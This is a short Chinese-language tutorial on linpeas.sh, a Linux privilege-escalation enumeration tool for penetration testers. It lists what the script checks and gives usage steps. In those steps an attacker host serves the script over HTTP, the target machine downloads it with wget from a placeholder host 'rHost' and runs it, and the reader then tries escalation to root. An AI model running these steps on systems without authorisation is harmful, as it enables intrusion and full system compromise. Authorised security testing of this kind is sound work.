linpeas.sh
(Linux Privilege Escalation Script with Bash)是一个为信息安全研究人员和渗透测试人员设计的bash脚本。它用于在Linux系统中帮助发现权限提升(privilege escalation)的可能性。该脚本会执行一系列的检查,包括但不限于系统配置、软件版本、不安全的文件权限、错误配置的服务等,这些检查可能会揭示出可以利用的安全漏洞,从而允许攻击者或测试者从普通用户权限提升到更高的权限,例如root。
linpeas.sh
是社区中广泛使用的工具之一,它集合了许多常见的提权技术和方法,可以自动化地帮助测试者节省时间,而不是手动执行每一个检查步骤。
以下是linpeas.sh
可能执行的一些操作:
- 检查可用的内核模块和相关的攻击向量。
- 查找拥有suid或guid权限的文件,这些文件可能被用来获取更高的权限。
- 检查安装的包和它们的版本,以发现已知的易受攻击的版本。
- 寻找配置不当的cron jobs或启动服务。
- 查看环境变量和系统配置文件,寻找潜在的安全漏洞。
- 等等。
一.使用步骤
准备:
下载
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
开启一个服务让目标下载
python3 -m http.server 8081
目标下载
wget rHost:8081/linpeas.sh
给予执行权限:
下载或克隆脚本后,需要给予它执行权限:
chmod +x linpeas.sh
运行脚本:
作为普通用户运行脚本,通常不需要root权限,因为它会尝试找到提升权限的方法:
./linpeas.sh
如果你希望将输出重定向到一个文件中,可以使用以下命令:
./linpeas.sh > linpeas_output.txt
分析输出
脚本运行后,它会提供大量的信息,包括可能的安全问题和权限提升的方法。仔细分析这些输出,查找可以利用的点
尝试提权
根据脚本提供的信息,尝试使用推荐的方法来提升权限。这可能包括利用某些配置错误、使用特定的工具或技术。